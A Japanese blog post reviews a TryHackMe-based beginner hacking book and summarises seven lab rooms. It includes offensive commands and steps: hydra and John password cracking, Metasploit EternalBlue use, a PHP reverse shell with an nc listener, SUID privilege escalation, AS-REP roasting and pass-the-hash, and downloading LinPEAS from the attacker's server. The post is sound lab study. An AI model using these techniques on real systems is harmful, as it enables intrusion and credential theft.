🦮

7日間でハッキングをはじめる本をやってみた

2024/09/14に公開

はじめに

2024/8/28に発売された、野溝のみぞう氏著の「7日間でハッキングをはじめる本 TryHackMeを使って身体で覚える攻撃手法と脆弱性」をやってみた。思いの外長くなったので、感想を最初に書き、各章の内容を振り返ってみる。
https://www.shoeisha.co.jp/book/detail/9784798181578

感想

ハッキングの楽しさに触れられる良書だった。環境構築をはじめ、各章がかなり丁寧に解説されており、初心者でも躓くことなくハッキングを学べる本だと思った。用語の説明も詳しいが、「なぜこの方法を取るか?」や「どうアプローチするか?」の道筋の説明が丁寧で、わかりやすかった。あとイラストが最高にかわいい。

TryHackMeは登録したきりだったが、楽しさがやっとわかった。閉じた環境で遊べるのと、幅広いルームで遊べるのがいいと思った。ツールを試したり、脆弱性を悪用した攻撃を試せたり、CTF形式で遊べるなど、好きな遊び方ができるのが楽しい。
自身の場合は、Learning Pathに従うよりも、好きなルームをアラカルト的に解くのが向いてそうだと思った。わからないルームは途中で一旦抜けてもいいので、休みの日などにゆるく続けていきたい。
今後も気になるルームは遊んでみて、Writeupを書いていきたい。

本書のルームは大体1hほど(本の復習や情報収集をしても1章1.5hほど)で遊べるので、通読に挫折しないのもよかった。各章が独立しているので、休日メインでまったり読み進めることができた。
ハッキングに興味のある人、セキュリティを知りたい人、初心に返りたいセキュリティ界隈の方々にとてもおすすめしたい。

Day1: ハッキングの準備をしよう

以下より備忘録のメモも兼ねて7日間の内容を振り返る。

環境構築とチュートリアルの回。自分の場合はTryHackMeもKaliも入れていたので直ぐ終わると思ったが、
sudo apt update -y && sudo apt upgrade -y の期間が空き過ぎて、実行完了までにだいぶ時間がかかった。待っている間に、1章を読みながらイラストの可愛さに癒されていた。

Kali Linuxの導入説明がかなり丁寧だった。Hyper-Vの設定の話が載っていて感動した。(VirtialBox6.0以前は、Hyper-Vとそもそも共存できず、苦労したので。。)
Kaliの便利設定も色々書かれていて、セットアップをする人にはすごく助かるだろうなーと思って読んでいた。

TryHackMeのVPN設定では、ターミナルではVPN接続に成功するがブラウザ上で反映されず、軽く詰まった。TryHackMe用のトラブルシューティングのツール(以下参照)を試したが、特に関係なかった。VPN ServerでEU-regular-2を選択し、ログアウト後Accessに再アクセスしたらつながった。謎。
→どうやらブラウザ側の表示のバグらしい。pingが通っていたら、気にせず進めてよさそう。

trableshootingTools
TryHackMe trableshooting tool
https://qiita.com/Brutus/items/88fec1ad4a709c414f90

Day2: はじめてのハッキング

2日目以降は攻略と参考に分けて記述する。攻略上大事な情報は書籍に載っているので、内容のメモや感想などを書く。参考記事は本書に載っていたり、ルームを攻略するのに参照した記事などを記載。

攻略

Basic Pentesting Roomを攻略する。辞書攻撃で遊ぶのがメインの回。

  • nmapでポートスキャン→port 80が開いているので、http://10.x.x.x (target machineのIP)にアクセスする
    • nmap -sV -Pn -oN nmap.txt -v 10.x.x.x
    • 80: HTTP, 22: SSH, 139/445: Sambaのポート。
  • サイト接続可能→ディレクトリ構成を見たい→dirbの出番。
    • dirb {url} {wordlist path} (引数間はスペースを空ける)
  • hydra: -t 8オプションで17分程度かかった。流石rockyou.txt。
    • nmap, dirbもだが、総じてツール系は実行完了まで時間がかかるので、気長に待つ。
    • 辞書が大きいと一定の網羅性はあるが時間がかかる。辞書が小さいと早く終わるが見つからない可能性がある。塩梅が難しいところ。

hydraResult
hydra result

  • smbclient:
    • smbclient -L {target IP}で、情報を取得する。
    • 接続の際、パス指定時のバックスラッシュは、エスケープが必要なので\\2回書く。
    • get {file name}で、ファイルを取得する。
  • ssh: 公開鍵認証がいける→パスフレーズが設定されているので特定が必要
    • 「長いパスワードを打たなくていいわ」という喜びのテキストメモを見れるが、ゆえに特定可能そうとわかる。この辺のストーリーも面白い。
  • パスフレーズの特定にはJohn the ripperのツールを使う。
    • id_rsaの内容をkali側にコピーして以下コマンド(★)を実行
    • ハッシュ値からパスワード(今回は秘密鍵のパスフレーズ)を戻して解析する。一瞬で解析できる。
    • パスフレーズがわかったらkayでssh実行→pass.bakの中身を見る(SSHで入れた時点で満足しないこと)
      • ちなみに最終回答のパスワードはとても長い。これを毎回手入力だとそりゃ面倒だろうなと。
      • パスワードのバックアップにはテキストファイルではなく、パスワード管理ツールを使ってほしいところ。。。

★実行コマンド

$ /usr/share/john/ss2john.py ./id_rsa > hash.txt
$ cat ./hash.txt
$ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash.txt

sshResult
ssh result

参考記事

Kaliに元々あるツールは、大体Kali公式が使い方を紹介している。

Day3: 悪用厳禁のエクスプロイトを試してみよう

攻略

Blue Roomを攻略する。ルーム名はEternal Blue由来とみられる。Metasploitで遊ぶのがメインの回。

  • metasploitの出番。いつのまにかv6になっている。。
  • msfconsoleでのexploitまでの流れ:
    • search {CVE番号}: 今回はCVE番号をキーワードにして、使えるmoduleを検索。
    • use {module}: 検索にヒットした中から、使用するmoduleを決定する。名前じゃなく番号指定でもOK。
    • show options: 実行時に必要なオプションの情報を確認する。
    • set {option name} {option value}: オプションに値を設定する
      • 今回はLHOST, RHOSTを指定。Lがローカル、Rがリモート→Target Machine。
    • exploit or run: 実行する。どっちを使ってもよい。

metasploit_exploit
実行結果。4回目で成功した。

  • meterpreterの主なコマンド:
    • sysinfo: システムの情報を取得する。
    • upload/download {file name}: ファイルをアップロード/ダウンロードする。
    • shell: シェルを変更する
    • screenshot: targetの画面のスクリーンショットを撮れる。
  • flag2.txtの取得にあたり、たまにC:\Windows\System配下のファイル群が消えるときがあるので、その時はmsfconsoleを一旦抜けて、再度exploit実行すればOK。

screenshot
RDPで接続したWindows7の画面。懐かしすぎる。

参考記事

Day4: よくある脆弱性を使って怪しいショップで遊ぼう

OWASP Juice Shop Roomを攻略する。Burpをいじりながら、脆弱なJuice屋さんで遊ぶ回。

攻略

  • SQLインジェクションを刺して満足したらフラグどこ?となった。フラグは攻撃成功後すぐの画面に表示される。
    • 見逃してもScoreBoardから見れる。なお、ScoreBoardの表示自体もチャレンジになっている。
  • SQLi, XSS, BOLA,他多数。基本はRoom内の誘導に従えば遊べる。
    • 秘密の質問の答えを公開情報から探すのが楽しかった。開発者の方は、定期的に飼い猫の名前をつぶやくのだろうか。。。
  • ルームクリアと本の内容で到達スコアは19%。まだまだ遊べる。
    • またdockerを立ててゆっくり遊びたい。なんやかんや途中までになってたので。
    • OWASP 2021やASVSの内容を基に推測して遊ぶのも楽しそう。

owasp_juice_shop_score
Score Board

参考記事

Day5: Webフォームから侵入しよう

Vulnversityルームを攻略する。リバースシェルを使う回。

攻略

  • dirbでディレクトリを調査する。

    • TryHackMeのRoomだとGobusterを使用している。この辺は好みでツールを使えばいいと思う。
    • dirb -Rはホスト名のみ有効らしい。
    • 特に-Rをつけなくても、再帰的にスキャンしてくれた。
      dirb_Roption
      dirb_noOption
      dirb実行結果
  • 拡張子を集めたリスト:/usr/share/seclists/Fuzzing/extensions-most-common.fuzz.txt

    • phtml: phpの古の拡張子
  • リバースシェル:外側→内側の通信より、内側→外側に出る通信の方が制限ゆるいよねの考え方。

    • リバースシェルの保存場所: /usr/share/webshells/php/php-reverse-shell.php。今後使いたい。
    • nc -lvnp {port}: ローカルマシン側で接続を待ち受ける。
    • サイトのトップページ改ざんが楽しい。今回は/var/www/html配下のindex.htmlを改ざん。
  • 権限昇格:SUIDを悪用する。

    • find / -perm -u=s -type f 2>/dev/null: パーミッションが-rws (s)となっている、SUID付きのやつをさがす

nc_command
シェルを取ったときのキャプチャ

参考記事

Day6: Active Directoryのハッキング実践

Attacktive Directory Roomを攻略する。Active Directoryへの攻撃を学ぶ回。
キャプチャ取り忘れた。。ADはまた復習したい。

攻略

  • Kerberos(ケルベロス)認証: サーバーとクライアントの間で、身元認証で利用されるプロトコル[1]
  • AS-REP Roasting攻撃: Kerberosの事前認証を無効にしているアカウントへの攻撃。任意のドメインユーザーのTGTを要求し、受け取った認証レスポンス(AS-REP)に含まれる、パスワードのハッシュ値を解析することで、ユーザのパスワードを割り出すことを試みる。
  • Kerbruteツール: Active Directoryのユーザ列挙やパスワード総当たりができるツール。今回はユーザ列挙用に使用。
  • Impaket:AS-REPを要求するために利用。GETNPUsers.pyを使い、TGTを問い合わせる。
    • Impacketをインストールする手順は、Task2参照。
    • DCsyncではsecuretdump.pyを利用する。
  • hashcat: パスワードのハッシュ値を解析するツール。今回はTGT問い合わせで得られたハッシュ値を解析し、パスワード取得を試みる。
    • hashcat {option} {target file name} {wordlist}で実行する。
  • NTMLハッシュ: ネットワーク認証プロトコルの一種。チャレンジ&レスポンス方式。
  • Pass the Hash攻撃: NTMLハッシュに関連。ハッシュを持っていればパスワードを知らなくても認証が通ることを悪用した攻撃。

参考記事

Day7: WordPressのハッキング実践

攻略

Blog Roomを攻略する。WordPressのブログ環境を調査する回。CTF形式のルーム。ここまでの6日間の集大成感があった。

  • steghide:データ内に隠された情報を解析するためのツール。
    • extract -sf {file name}で、指定したファイルからデータを取り出す。
    • ステガノグラフィ: データ内に別のデータを隠し込む技術。
  • smbclientで取れるファイル:外れ。小ネタが面白いが。
    • Alice-White-Rabbit.jpg: 出てきたtxtファイルを見ると、いい感じに煽られる。
    • check-this.pngのQRコード: Youtubeの動画[2]が流れる。

alice-hole-in_txt
白兎の写真とテキスト

  • wpscan: WordPressといえばのスキャンツール。
    • --url {URL}: 対象URLを指定
    • --enumerate u: ユーザ情報を探索
  • LinPEAS: 可愛い。権限昇格できそうな設定ミスを教えてくれるツール。
    • 実行結果がとても長い。黄色背景に赤(信憑性高)をいつか見てみたい。
  • シェルスクリプト等の実行ファイルをターゲット側で実行する手順例(Linpeasの場合)
    • ローカル側でWebサーバを立てる:python3 -m http.server {port}
    • ターゲット側のシェルでLinpeasをダウンロードする:wget {local machine ip}:{port}/linpeas.sh
  • ltrace {command}: ltaceコマンドで、対象のプロセスが実行する関数をトレースする。

参考記事

今後したいこと

  • Roomで遊ぶ
    • 章末の補講に書いてたRoom(特にAD系とMetasploitなどのツール系)
    • OWASP Top 10
    • XSS, SQLi, LDAP, CORS, OAuthなどのWeb系
    • CALDERA
  • Juice shop Docker版で遊びたい
  • ハッキングラボ完全版で遊びたい
脚注
  1. NTT西日本 ICT用語集: Kerberos認証 ↩︎

  2. Youtube: Billy Joel - We Didn't Start the Fire (Official HD Video) ↩︎

Discussion